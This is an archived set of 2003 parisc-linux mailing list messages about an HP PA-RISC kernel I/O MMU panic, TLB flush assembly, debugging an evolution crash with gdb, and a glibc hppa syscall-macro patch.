X-Trace: ger.gmane.org 1416622865 32518 80.91.229.3 (22 Nov 2014 02:21:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:05 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	"M. Grabert" <xam@cs.ucc.ie>, parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 12 07:28:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7B14F4A4A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 12 Oct 2003 07:28:18 -0600 (MDT)
Original-Received: from [62.235.120.226] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1A8gGe-0007ZE-88; Sun, 12 Oct 2003 15:28:16 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20031010 Debian/1.4-6
X-Accept-Language: en
In-Reply-To: <20031006172856.GB19370@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19793

Hi Grant,

Grant Grundler wrote:
> On Sun, Oct 05, 2003 at 05:07:21PM +0000, Joel Soete wrote:
> 
>>hmm don't think if it's related but just in case:
>>I was just copying my kernel tree with 'tar cslpf - 
>>linux-2.6.0-test6-pa6 | ( cd Work ; tar xslpf -)' when
>>
>>Kernel panic: drivers/parisc/ccio-dma.c: ccio_alloc_range() I/O M.
> 
> 
> You ran out of mapping resources.
>         panic(__FILE__ ": %s() I/O MMU is out of mapping resources.\n",
> 	              __FUNCTION__);
> 
> 
>>I just retry same operation on the same system with same kernel but 
>>doesn't occurs a second time?
> 
> 
> Not surprising. The bitmap search will fail if everything gets
> mapped "sparsely" or we try to search for a large mapping (>32K, ie more
> than 8 pages) but can't find it. If this is repeatible problem, change
> 
> 	/* Ratio of Host MEM to IOV Space size */
> 	static unsigned long ccio_mem_ratio = 4;
> 
> in drivers/parisc/ccio-dma.c (2.6 kernel) to 2.
> 

Well the pb re-occurs but, as mentioned previously, it is difficult to 
reproduce the exact circumstance of this occurence?
So test this change of ccio_mem_ratio = 4 to 2 and seems to works better :)

> One patch would be welcome here: figure out a threshold when
> allocations for single pages should share an 8-page "chunk"
> (effectively one TLB entry).  E.g. differentiate between LAN
> and SCSI requests.  LAN typically wants 1 entry (1500 byte MTU)
> unless someone starts testing "Large Send" and is very "linear"
> in it's DMA behavior (one DMA stream at a time).  SCSI typically
> wants 64k/128k (16 or 32 entries), has lots of those, and any one
> of those could be the "next" DMA stream. ie thrashing the IO TLB
> is much more likely with SCSI than LAN and we should allocate
> entries differently based on that.
> 
> The patch might be something like:
> 	if ((pci_dev->class & MASK) == PCI_BASE_CLASS_NETWORK) {
> 	...
> 
> in the right places to use a different (and new?) search loop.
> 

Will try to understand and see what can i do.

Thanks again,
	Joel



From - Thu Nov 08 21:29:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] flush_tlb_all_local:
Date: Sun, 12 Oct 2003 16:07:50 +0000
Lines: 31
Approved: news@gmane.org
Message-ID: <3F897C56.800@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622866 32520 80.91.229.3 (22 Nov 2014 02:21:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:06 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 12 10:07:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id D56894841
	for <parisc-linux@parisc-linux.org>; Sun, 12 Oct 2003 10:07:52 -0600 (MDT)
Original-Received: from [62.235.120.226] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1A8il5-0005K6-6p; Sun, 12 Oct 2003 18:07:51 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20031010 Debian/1.4-6
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19794

Hi all,

into parisc/kernel/pacache.S, i find this:
[...]
flush_tlb_all_local:
[...]
         rsm     PSW_SM_Q,%r0       /* Turn off Q bit to load iia queue */
         ldil    L%REAL_MODE_PSW, %r1
         ldo     R%REAL_MODE_PSW(%r1), %r1
         mtctl   %r1, %cr22
         mtctl   %r0, %cr17
         mtctl   %r0, %cr17
[...]

Why twice 'mtctl   %r0, %cr17'?

and also:
[...]
fitmanymiddle:                                  /* Loop if LOOP >= 2 */
         ADDIB>          -1,%r31,fitmanymiddle   /* Adjusted inner loop 
decr */
         pitlbe          0(%sr1,%r28)
         pitlbe,m        %arg1(%sr1,%r28)        /* Last pitlbe and addr 
adjust */

Typicaly the function name is flush_..., so why do we 'purge' here?

Thanks in advance for help,
	Joel



From - Thu Nov 08 21:29:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] evolution (1.4.5-1) do_page_fault?
Date: Sun, 12 Oct 2003 14:16:17 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <20031012181616.GA23999@systemhalted>
References: <3F872FDC.2090408@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622866 32523 80.91.229.3 (22 Nov 2014 02:21:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:06 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 12 12:19:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8D6A948BE
	for <parisc-linux@parisc-linux.org>; Sun, 12 Oct 2003 12:19:44 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A8klN-0006TC-00; Sun, 12 Oct 2003 14:16:17 -0400
Content-Disposition: inline
In-Reply-To: <3F872FDC.2090408@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (29% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19795

On Fri, Oct 10, 2003 at 10:17:00PM +0000, Joel Soete wrote:
> Hi all,
> 
> The new evolution crash on my c110 [debian unstable] (even though I test 
> successfully a previous release on my b2k) with a kernel 2.6test7pa5.
> 
> do_page_fault() pid=3917 command='evolution' type=7 address=0x413627db
> vm_start = 0x41332000, vm_end = 0x413b3000
> 

Run it through a debugger. Try to find out what was at this address?

c.


From - Thu Nov 08 21:29:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] evolution (1.4.5-1) do_page_fault?
Date: Sun, 12 Oct 2003 18:42:55 +0000
Lines: 31
Approved: news@gmane.org
Message-ID: <3F89A0AF.7020501@tiscali.be>
References: <3F872FDC.2090408@tiscali.be> <20031012181616.GA23999@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622866 32530 80.91.229.3 (22 Nov 2014 02:21:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:06 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 12 12:42:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0459B48CE
	for <parisc-linux@parisc-linux.org>; Sun, 12 Oct 2003 12:42:55 -0600 (MDT)
Original-Received: from [62.235.120.226] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1A8lB8-00051w-VJ; Sun, 12 Oct 2003 20:42:55 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20031010 Debian/1.4-6
X-Accept-Language: en
In-Reply-To: <20031012181616.GA23999@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19796

Hello Carlos,

I launch 'gbd evolution'
(gdb) run
to determine the new address in this env but failed before with message:
Program received signal SIG37, Real-time event 37.
0x4193c574 in malloc_set_state () from /lib/libc.so.6

what's your opinion?

Joel

Carlos O'Donell wrote:
> On Fri, Oct 10, 2003 at 10:17:00PM +0000, Joel Soete wrote:
> 
>>Hi all,
>>
>>The new evolution crash on my c110 [debian unstable] (even though I test 
>>successfully a previous release on my b2k) with a kernel 2.6test7pa5.
>>
>>do_page_fault() pid=3917 command='evolution' type=7 address=0x413627db
>>vm_start = 0x41332000, vm_end = 0x413b3000
>>
> 
> 
> Run it through a debugger. Try to find out what was at this address?
> 
> c.
> 



From - Thu Nov 08 21:29:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] evolution (1.4.5-1) do_page_fault?
Date: Sun, 12 Oct 2003 16:02:02 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20031012200201.GC23999@systemhalted>
References: <3F872FDC.2090408@tiscali.be> <20031012181616.GA23999@systemhalted> <3F89A0AF.7020501@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622867 32534 80.91.229.3 (22 Nov 2014 02:21:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:07 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 12 14:05:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 730654A01
	for <parisc-linux@parisc-linux.org>; Sun, 12 Oct 2003 14:05:28 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A8mPi-0006f0-00; Sun, 12 Oct 2003 16:02:02 -0400
Content-Disposition: inline
In-Reply-To: <3F89A0AF.7020501@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (29% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19797

On Sun, Oct 12, 2003 at 06:42:55PM +0000, Joel Soete wrote:
> Hello Carlos,
> 
> I launch 'gbd evolution'
> (gdb) run
> to determine the new address in this env but failed before with message:
> Program received signal SIG37, Real-time event 37.
> 0x4193c574 in malloc_set_state () from /lib/libc.so.6
> 
> what's your opinion?

That's libpthreads realtime singal mechanism working.
You need to set "handle all nostop" and "handle all pass" in gdb.

Then you can do the math with /proc/<pid>/maps and the dying address to
calculate the _real_ library offset and function symbolic name.

c.


From - Thu Nov 08 21:29:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Sysdeps changes for hppa.
Date: Sun, 12 Oct 2003 17:32:26 -0400
Lines: 459
Approved: news@gmane.org
Message-ID: <20031012213226.GE23999__1978.91380307755$1416622867$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622867 32537 80.91.229.3 (22 Nov 2014 02:21:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:07 +0000 (UTC)
To: libc-alpha <libc-alpha@sources.redhat.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 12 15:35:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 648F348CB
	for <parisc-linux@lists.parisc-linux.org>; Sun, 12 Oct 2003 15:35:52 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A8npD-0006qX-00; Sun, 12 Oct 2003 17:32:27 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19798

libc-alpha,

Generic defines JUMPTARGET, so we must undefine it before setting it to
nothing in sysdeps/hppa/sysdep.h.

Secondly, there were a lot of missing macro's in
sysdep/unix/sysv/linux/hppa/sysdep.h, the second bit of the patch takes
care of defining those properly for hppa and cleans up the file itself
in a more logical layout.

The last patch makes sure that syscall in sysdep.c takes advantage of
all the fixes for PIC register bugs I had to track down.

Cheers,
Carlos.
===
 sysdeps/hppa/sysdep.h                 |    1 
 sysdeps/unix/sysv/linux/hppa/sysdep.h |  274 ++++++++--
 sysdeps/unix/sysv/linux/hppa/sysdep.c |   46 +
 3 files changed, 254 insertions(+), 67 deletions(-)
===

2003-10-12  Carlos O'Donell  <carlos@baldric.uwo.ca>

	* sysdeps/hppa/sysdep.h: Undef JUMPTARGET before use.
	* sysdeps/unix/sysv/linux/hppa/sysdep.h:
	Define __NR_semtimedop for compat with old kernels,
	PSEUDO_ERRVAL, SYSCALL_ERROR_LABEL under all conditions,
	INTERNAL_SYSCALL_DECL, INTERNAL_SYSCALL_ERROR_P,
	INTERNAL_SYSCALL_ERRNO, INTERNAL_SYSCALL, and undef 
	JUMPTARGET before use.
	[PIC]: Save pic register around syscall.
	* sysdeps/unix/sysv/linux/hppa/sysdep.c (syscall): 
	Cleanup asm statment.

--- libc/sysdeps/hppa/sysdep.h	6 Jul 2001 04:55:51 -0000	1.3
+++ libc/sysdeps/hppa/sysdep.h	1 Apr 2003 06:15:35 -0000
@@ -70,6 +67,7 @@
 #define	PSEUDO_END(name)						      \
   END (name)
 
+#undef JUMPTARGET
 #define JUMPTARGET(name)	name
 #define SYSCALL_PIC_SETUP	/* Nothing.  */
diff -u -p -r1.7 sysdep.h
--- libc/sysdeps/unix/sysv/linux/hppa/sysdep.h	23 Mar 2003 19:42:22 -0000	1.7
+++ libc/sysdeps/unix/sysv/linux/hppa/sysdep.h	21 Sep 2003 19:24:57 -0000
@@ -31,6 +31,26 @@
 #undef SYS_ify
 #define SYS_ify(syscall_name)	(__NR_##syscall_name)
 
+/* Included for older kernels whose headers 
+   are missing the define  */ 
+#ifndef __NR_semtimedop
+# define __NR_semtimedop 228
+#endif
+
+# ifdef PIC
+/* WARNING: CANNOT BE USED IN A NOP! */
+#  define STW_PIC stw %r19, -32(%sr0, %sp) ASM_LINE_SEP
+#  define LDW_PIC ldw -32(%sr0, %sp), %r19 ASM_LINE_SEP
+#  define STW_ASM_PIC	"       copy %%r19, %%r4\n"
+#  define LDW_ASM_PIC	"       copy %%r4, %%r19\n"
+#  define USING_GR4	"%r4",
+# else
+#  define STW_PIC ASM_LINE_SEP
+#  define LDW_PIC ASM_LINE_SEP
+#  define STW_ASM_PIC	" \n"
+#  define LDW_ASM_PIC	" \n"
+#  define USING_GR4
+# endif
 
 #ifdef __ASSEMBLER__
 
@@ -77,20 +97,13 @@
 	.text					ASM_LINE_SEP	\
 	.export C_SYMBOL_NAME(name)		ASM_LINE_SEP	\
 	.type	C_SYMBOL_NAME(name),@function	ASM_LINE_SEP	\
-	C_LABEL(name)						\
-	CALL_MCOUNT
-
-#define ret \
-	bv 0(2)					ASM_LINE_SEP	\
-	nop
-
-#define ret_NOERRNO \
-	bv 0(2)					ASM_LINE_SEP	\
-	nop
+	C_LABEL(name)				ASM_LINE_SEP	\
+	CALL_MCOUNT				ASM_LINE_SEP
 
 #undef	END
-#define END(name)						\
-1:	.size	C_SYMBOL_NAME(name),1b-C_SYMBOL_NAME(name)
+#define END(name)							\
+1:							ASM_LINE_SEP	\
+.size	C_SYMBOL_NAME(name),1b-C_SYMBOL_NAME(name)	ASM_LINE_SEP	\
 
 /* If compiled for profiling, call `mcount' at the start of each function.  */
 /* No, don't bother.  gcc will put the call in for us.  */
@@ -110,27 +123,83 @@
 	nop
 */
 
-#define	PSEUDO(name, syscall_name, args)				      \
-  ENTRY (name)								      \
-  DO_CALL(syscall_name, args)					ASM_LINE_SEP  \
-  nop
+#define	PSEUDO(name, syscall_name, args)			\
+  ENTRY (name)							\
+  DO_CALL(syscall_name, args)			ASM_LINE_SEP	\
+  nop						ASM_LINE_SEP
+
+#define ret \
+	/* Return value set by ERRNO code */	ASM_LINE_SEP	\
+	bv 0(2)					ASM_LINE_SEP	\
+	nop					ASM_LINE_SEP
 
 #undef	PSEUDO_END
-#define	PSEUDO_END(name)						      \
+#define	PSEUDO_END(name)					\
   END (name)
 
-#define	PSEUDO_NOERRNO(name, syscall_name, args)			      \
-  ENTRY (name)								      \
-  DO_CALL(syscall_name, args)					ASM_LINE_SEP  \
-  nop
+/* We don't set the errno on the return from the syscall */
+#define	PSEUDO_NOERRNO(name, syscall_name, args)		\
+  ENTRY (name)							\
+  DO_CALL_NOERRNO(syscall_name, args)		ASM_LINE_SEP	\
+  nop						ASM_LINE_SEP
 
+#define ret_NOERRNO ret 
+  
 #undef	PSEUDO_END_NOERRNO
-#define	PSEUDO_END_NOERRNO(name)					      \
+#define	PSEUDO_END_NOERRNO(name)				\
   END (name)
 
+/* This has to return the error value */
+#undef  PSEUDO_ERRVAL
+#define PSEUDO_ERRVAL(name, syscall_name, args)			\
+	ENTRY(name)						\
+	DO_CALL_ERRVAL(syscall_name, args)	ASM_LINE_SEP	\
+	nop					ASM_LINE_SEP
+
+#define ret_ERRVAL ret
+	
+#undef	PSEUDO_END_ERRVAL
+#define PSEUDO_END_ERRVAL(name)					\
+	END(name)
+
+#undef JUMPTARGET
 #define JUMPTARGET(name)	name
 #define SYSCALL_PIC_SETUP	/* Nothing.  */
 
+	
+/* All the syscall assembly macros rely on finding the approriate 
+   SYSCALL_ERROR_LABEL or rather HANDLER. */
+
+/* int * __errno_location(void) so you have to store your value
+   into the return address! */
+#define DEFAULT_SYSCALL_ERROR_HANDLER 			\
+	.import __errno_location,code	ASM_LINE_SEP	\
+	/* branch to errno handler */	ASM_LINE_SEP	\
+	bl __errno_location,%rp		ASM_LINE_SEP
+	
+/* Here are the myriad of configuration options that the above can
+   work for... what we've done is provide the framework for future
+   changes if required to each section */
+	
+#ifdef PIC
+# if RTLD_PRIVATE_ERRNO
+#  define SYSCALL_ERROR_HANDLER DEFAULT_SYSCALL_ERROR_HANDLER			    
+# else /* !RTLD_PRIVATE_ERRNO */
+#  if defined _LIBC_REENTRANT
+#   define SYSCALL_ERROR_HANDLER DEFAULT_SYSCALL_ERROR_HANDLER
+#  else /* !_LIBC_REENTRANT */
+#   define SYSCALL_ERROR_HANDLER DEFAULT_SYSCALL_ERROR_HANDLER
+#  endif /* _LIBC_REENTRANT */
+# endif /* RTLD_PRIVATE_ERRNO */
+#else
+# ifndef _LIBC_REENTRANT
+#  define SYSCALL_ERROR_HANDLER DEFAULT_SYSCALL_ERROR_HANDLER
+# else
+#  define SYSCALL_ERROR_HANDLER DEFAULT_SYSCALL_ERROR_HANDLER
+# endif
+#endif					
+	
+	
 /* Linux takes system call arguments in registers:
 	syscall number	gr20
 	arg 1		gr26
@@ -159,25 +228,61 @@
 
 #undef	DO_CALL
 #define DO_CALL(syscall_name, args)				\
-	DOARGS_##args						\
+	DOARGS_##args				ASM_LINE_SEP	\
+	STW_PIC					ASM_LINE_SEP	\
+	/* Do syscall, delay loads # */		ASM_LINE_SEP	\
 	ble  0x100(%sr2,%r0)			ASM_LINE_SEP	\
 	ldi SYS_ify (syscall_name), %r20	ASM_LINE_SEP	\
 	ldi -0x1000,%r1				ASM_LINE_SEP	\
 	cmpb,>>=,n %r1,%ret0,0f			ASM_LINE_SEP	\
-	stw %rp, -20(%sr0,%r30)			ASM_LINE_SEP	\
-	stw %ret0, -24(%sr0,%r30)		ASM_LINE_SEP	\
-	.import __errno_location,code		ASM_LINE_SEP	\
-	bl __errno_location,%rp			ASM_LINE_SEP	\
-	ldo 64(%r30), %r30			ASM_LINE_SEP	\
-	ldo -64(%r30), %r30			ASM_LINE_SEP	\
-	ldw -24(%r30), %r26			ASM_LINE_SEP	\
+	/* save rp or we get lost */		ASM_LINE_SEP	\
+	stw %rp, -20(%sr0,%sp)			ASM_LINE_SEP	\
+	/* Restore r19 from frame */		ASM_LINE_SEP	\
+	LDW_PIC					ASM_LINE_SEP	\
+	stw %ret0, -24(%sr0,%sp)		ASM_LINE_SEP	\
+	SYSCALL_ERROR_HANDLER			ASM_LINE_SEP	\
+	/* create frame */			ASM_LINE_SEP	\
+	ldo 64(%sp), %sp			ASM_LINE_SEP	\
+	ldo -64(%sp), %sp			ASM_LINE_SEP	\
+	/* OPTIMIZE: Don't reload r19 */	ASM_LINE_SEP	\
+	/* do a -1*syscall_ret0 */		ASM_LINE_SEP	\
+	ldw -24(%sr0,%sp), %r26			ASM_LINE_SEP	\
 	sub %r0, %r26, %r26			ASM_LINE_SEP	\
+	/* Store into errno location */		ASM_LINE_SEP	\
 	stw %r26, 0(%sr0,%ret0)			ASM_LINE_SEP	\
+	/* return -1 as error */		ASM_LINE_SEP	\
 	ldo -1(%r0), %ret0			ASM_LINE_SEP	\
-	ldw -20(%r30), %rp			ASM_LINE_SEP	\
+	ldw -20(%sr0,%sp), %rp			ASM_LINE_SEP	\
 0:						ASM_LINE_SEP	\
+	UNDOARGS_##args				ASM_LINE_SEP
+
+/* We do nothing with the return, except hand it back to someone else */
+#undef  DO_CALL_NOERRNO
+#define DO_CALL_NOERRNO(syscall_name, args)			\
+	DOARGS_##args                                           \
+	/* No need to store r19 */		ASM_LINE_SEP	\
+	ble  0x100(%sr2,%r0)                    ASM_LINE_SEP    \
+	ldi SYS_ify (syscall_name), %r20        ASM_LINE_SEP    \
+	/* Caller will restore r19 */		ASM_LINE_SEP	\
 	UNDOARGS_##args
 
+/* Here, we return the ERRVAL in assembly, note we don't call the
+   error handler function, but we do 'negate' the return _IF_
+   it's an error. Not sure if this is the right semantic. */
+
+#undef	DO_CALL_ERRVAL
+#define DO_CALL_ERRVAL(syscall_name, args)			\
+	DOARGS_##args				ASM_LINE_SEP	\
+	/* No need to store r19 */		ASM_LINE_SEP	\
+	ble  0x100(%sr2,%r0)			ASM_LINE_SEP	\
+	ldi SYS_ify (syscall_name), %r20	ASM_LINE_SEP	\
+	/* Caller will restore r19 */		ASM_LINE_SEP	\
+	ldi -0x1000,%r1				ASM_LINE_SEP	\
+	cmpb,>>=,n %r1,%ret0,0f			ASM_LINE_SEP	\
+	sub %r0, %ret0, %ret0			ASM_LINE_SEP	\
+0:						ASM_LINE_SEP	\
+	UNDOARGS_##args				ASM_LINE_SEP
+
